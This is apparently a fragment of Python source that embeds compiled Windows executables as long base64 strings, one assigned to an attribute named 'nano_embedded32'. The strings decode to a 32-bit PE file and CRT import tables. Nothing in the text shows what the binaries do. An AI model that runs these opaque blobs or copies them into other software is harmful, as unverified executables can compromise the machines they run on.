AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAABEAAAAEABABAQAAAuEQAABEABADARAAB5EQAADEABAIARAACmFAAAFEABALAUAADNFAAAKEABANAUAADtFAAASEABAPAUAAAJFQAAaEABABAVAAAcFQAAcEABACAVAAAhFQAAdEABADAVAAC6FQAAeEABALoVAABlFgAAhEABAGUWAADxFwAAkEABAPEXAADHGQAAoEABAMcZAAAaGwAArEABACAbAAA/GwAAuEABAD8bAACCGwAAxEABAIIbAAAVHAAA0EABABUcAAAaHQAA3EABABodAABZHQAA6EABAFkdAADJHwAA9EABAMkfAAA7IQAABEEBADshAABIIgAAFEEBAEgiAAAMJAAAJEEBAAwkAABzJAAANEEBAHMkAAAgJQAAQEEBACAlAAB7JQAATEEBAHslAACKJQAAWEEBAIolAAD1JQAAYEEBAPUlAABmJwAAbEEBAGYnAAChJwAAeEEBAKEnAADbKAAAhEEBANsoAACaKQAAkEEBAJopAACAKgAAnEEBAIAqAADZKgAAqEEBANkqAABTKwAAtEEBAFMrAACjKwAAwEEBALArAADzKwAAzEEBAPMrAAB2LAAA2EEBAHYsAAD8LAAA5EEBAPwsAACrLQAA8EEBAKstAADxLgAA/EEBAPEuAAACMAAACEIBAAIwAABLMAAAFEIBAEswAACRMQAAIEIBAJExAABNMgAALEIBAE0yAABFMwAAOEIBAEUzAAC6NgAAREIBALo2AAB4NwAAUEIBAHg3AAClOAAAXEIBAKU4AAArOQAAaEIBADA5AABzOQAAdEIBAHM5AAD8OQAAgEIBAPw5AABwOwAAjEIBAHA7AABWPAAAmEIBAFY8AAAIPQAApEIBAAg9AAC6PwAAsEIBAMA/AADJPwAAvEIBAMk/AAD8QAAAwEIBAPxAAABaQQAAzEIBAFpBAADTRQAA2EIBANNFAAAvRgAA6EIBAC9GAACdRgAA9EIBAJ1GAACoRgAAAEMBAKhGAACwRgAABEMBALBGAAAKRwAACEMBAApHAABkRwAADEMBAGRHAAC7RwAAEEMBALtHAAASSAAAFEMBABJIAABsSAAAGEMBAGxIAADGSAAAHEMBAMZIAAAdSQAAIEMBAB1JA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ACAmAAA5xQAAAEEAQAEQgAAAQAAAAEAAAABCAMFCDIEAwFQAAABCAMFCLIEAwFQAAABEQWFEQMJAW0AAnABUAAAAQgDBQjyBAMBUAAAAQgDBQjyBAMBUAAAAQgDBQgyBAMBUAAAAQgDBQhSBAMBUAAAAQgDBQgSBAMBUAAAARAEhRADCAFGAAFQAQgDBQgyBAMBUAAAAREFxREDCQEZAAIwAVAAAAERBbURAwkBFwACMAFQAAABEQWFEQMJAVEAAnABUAAAAREFhREDCQFbAAJwAVAAAAEIAwUIcgQDAVAAAAEIAwUIcgQDAVAAAAEIAwUIcgQDAVAAAAEEAgUEAwFQAQgDBQhSBAMBUAAAAQgDBQhSBAMBUAAAAQgDBQhSBAMBUAAAAQsEJQsDBkICMAFQAQsERQsDBoICMAFQAQgDBQhSBAMBUAAAAQgDBQjSBAMBUAAAAQgDBQhSBAMBUAAAAQgDBQhSBAMBUAAAAQgDBQhSBAMBUAAAAQgDBQiSBAMBUAAAAQgDBQhSBAMBUAAAAQgDBQhyBAMBUAAAAQgDBQjSBAMBUAAAAQsENQsDBmICMAFQAQgDBQgSBAMBUAAAAQgDBQhyBAMBUAAAAQsERQsDBoICMAFQAQgDBQhyBAMBUAAAAQsEBQsBFAAEAwFQAQgDBQjyBAMBUAAAAQgDBQiSBAMBUAAAAQgDBQhSBAMBUAAAAQgDBQhSBAMBUAAAAQgDBQjSBAMBUAAAAQgDBQiyBAMBUAAAAQgDBQhyBAMBUAAAAQgDBQhyBAMBUAAAARAEhRADCAFyAAFQAQAAAAEIAwUIkgQDAVAAAAEIAwUIEgQDAVAAAAERBeURAwkBHQACMAFQAAABCAMFCFIEAwFQAAABCAMFCFIEAwFQAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQgDBQhSBAMBUAAAAQgDBQhSBAMBUAAAAQsERQsDBoICMAFQAREFhREDCQERAAIwAVAAAAEIAwUIUgQDAVAAAAEIAwUIkgQDAVAAAAEIAwUIUgQDAVAAAAEQBIUQAwgBiAABUAEIAwUIMgQDAVAAAAEIAwUIUgQDAVAAAAEIAwUIUgQDAVAAAAEIAwUIkgQDAVAAAAEQBIUQAwgBpgABUAEIAwUIcgQDAVAAAAEIAwUIUgQDAVAAAAEIAwUIUgQDAVAAAAEIAwUIUgQDAVAAAAEIAwUI0gQDAVAAAAELBDULAwZiAjABUAEIAwUIsgQDAVAAAAELBAULARwABAMBUAERBYURAwkBOwACcAFQAAABCAMFCBIEAwFQAAABCwQFCwEUAAQDAVABCwR1CwMG4gIwAVABCAMFCFIEAwFQAAABCAMFCFIEAwFQAAABCAMFCDIEAwFQAAABEweFEwMLAWMABDADYAJwAVAAAAEEAQAEQgAAAQYDAAZCAjABYAAAAQAAAAEAAAABBAEABEIAAAEGAwAGQgIwAWAAAAEAAAABFgkAFogGABB4BQALaAQABuICMAFgAAABAAAAAQcDAAdiAzACwAAAAQgEAAiSBDADYALAARUKRRUDEIIMMAtgCnAJwAfQBeAD8AFQAQQBAASiAAABAAAAAQYCAAYyAsABCQUACUIFMARgA3ACwAAAAQcEAAcyAzACYAFwAQUCAAUyATABBQIABTIBMAEAAAABAAAAAQgEAAgyBDADYALAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEJBAAJUgUwBMAC0AEEAQAEwgAAAQUCAAUyATABDggADnIKMAlgCHAHUAbABNAC4AEHBAAHMgMwAmABcAEHAwAHQgMwAsAAAAEEAQAEYgAAARUKNRUDEGIMMAtgCnAJwAfQBeAD8AFQARUKJRUDEEIMMAtgCnAJwAfQBeAD8AFQAQ8HNQ8DClIGMAVgBHADwAFQAAABCAUACEIEMANgAnABUAAAAQkEAAkyBTAEwALQAQcDAAeiAzACwAAAAQcDAAeiAzACwAAAAQgEAAiSBDADYALAAQwHAAyiCDAHYAZwBVAEwALQAAABEwoAEwEVAAwwC2AKcAlQCMAG0ATgAvABBQIABTIBMAEHBAAHMgMwAmABcAEAAAABEAkAEGIMMAtgCnAJUAjABtAE4ALwAAABGwwAG2gKABMBFwAMMAtgCnAJUAjABtAE4ALwAQYFAAYwBWAEcANQAsAAAAEAAAABBgMABkICMAFgAAABBQIABTIBMAEGAwAGYgIwAWAAAAEGA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GVsZXRlQ3JpdGljYWxTZWN0aW9uAD8BRW50ZXJDcml0aWNhbFNlY3Rpb24AAHYCR2V0TGFzdEVycm9yAADMAkdldFByb2Nlc3NIZWFwAADnAkdldFN0YXJ0dXBJbmZvQQBfA0hlYXBBbGxvYwBlA0hlYXBGcmVlAAB8A0luaXRpYWxpemVDcml0aWNhbFNlY3Rpb24AlwNJc0RCQ1NMZWFkQnl0ZUV4AADYA0xlYXZlQ3JpdGljYWxTZWN0aW9uAAAMBE11bHRpQnl0ZVRvV2lkZUNoYXIAcgVTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAggVTbGVlcAClBVRsc0dldFZhbHVlANQFVmlydHVhbFByb3RlY3QAANYFVmlydHVhbFF1ZXJ5AAALBldpZGVDaGFyVG9NdWx0aUJ5dGUAOABfX0Nfc3BlY2lmaWNfaGFuZGxlcgAAQABfX19sY19jb2RlcGFnZV9mdW5jAEMAX19fbWJfY3VyX21heF9mdW5jAABSAF9fZ2V0bWFpbmFyZ3MAUwBfX2luaXRlbnYAVABfX2lvYl9mdW5jAABhAF9fc2V0X2FwcF90eXBlAABjAF9fc2V0dXNlcm1hdGhlcnIAAHIAX2FjbWRsbgB5AF9hbXNnX2V4aXQAAIsAX2NleGl0AACXAF9jb21tb2RlAAC+AF9lcnJubwAA3ABfZm1vZGUAABsBX2luaXR0ZXJtAIEBX2xvY2sAJwJfb25leGl0ALICX3RpbWU2NADHAl91bmxvY2sACANfd2NzaWNtcAAAhQNhYm9ydACSA2F0b2kAAJYDY2FsbG9jAACjA2V4aXQAALcDZnByaW50ZgC5A2ZwdXRjAL4DZnJlZQAAywNmd3JpdGUAAPQDbG9jYWxlY29udgAA+gNtYWxsb2MAAP0DbWJzdG93Y3MAAAEEbWVtY21wAAACBG1lbWNweQAABARtZW1zZXQAABYEcmFuZAAAIgRzaWduYWwAACsEc3JhbmQANwRzdHJlcnJvcgAAOQRzdHJsZW4AADwEc3RybmNtcAA9BHN0cm5jcHkAQARzdHJyY2hyAEEEc3Ryc3BuAABeBHZmcHJpbnRmAAB4BHdjc2xlbgAAeQR3Y3NuY2F0AHwEd2NzbmNweQCDBHdjc3N0cgAAAAAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAEtFUk5FTDMyLmRsbAAAAAAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQBtc3ZjcnQuZGxsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMBEAQAEAAAAAAAAAAAAAAAAAAAAAAAAAEBAAQAEAAAAAAAAAAAAAAAAAAAAAAAAAUJEAQAEAAAAgkQBAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAADAAAAOinAAAAAAEAHAAAABCgcKCAoJCgoKCwoLigwKDIoNCgABABABQAAADgrACtCK0QrRitAAAAIAEARAAAAKCjsKPAo9Cj4KPwowCkEKQgpDCkQKRQpGCkcKSApJCkoKSwpMCk0KTgpPCkAKUQpSClMKVApVClYKUAAACQAQAQAAAACKAgoDigQKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" ) self.nano_embedded32 = base64.b64decode( "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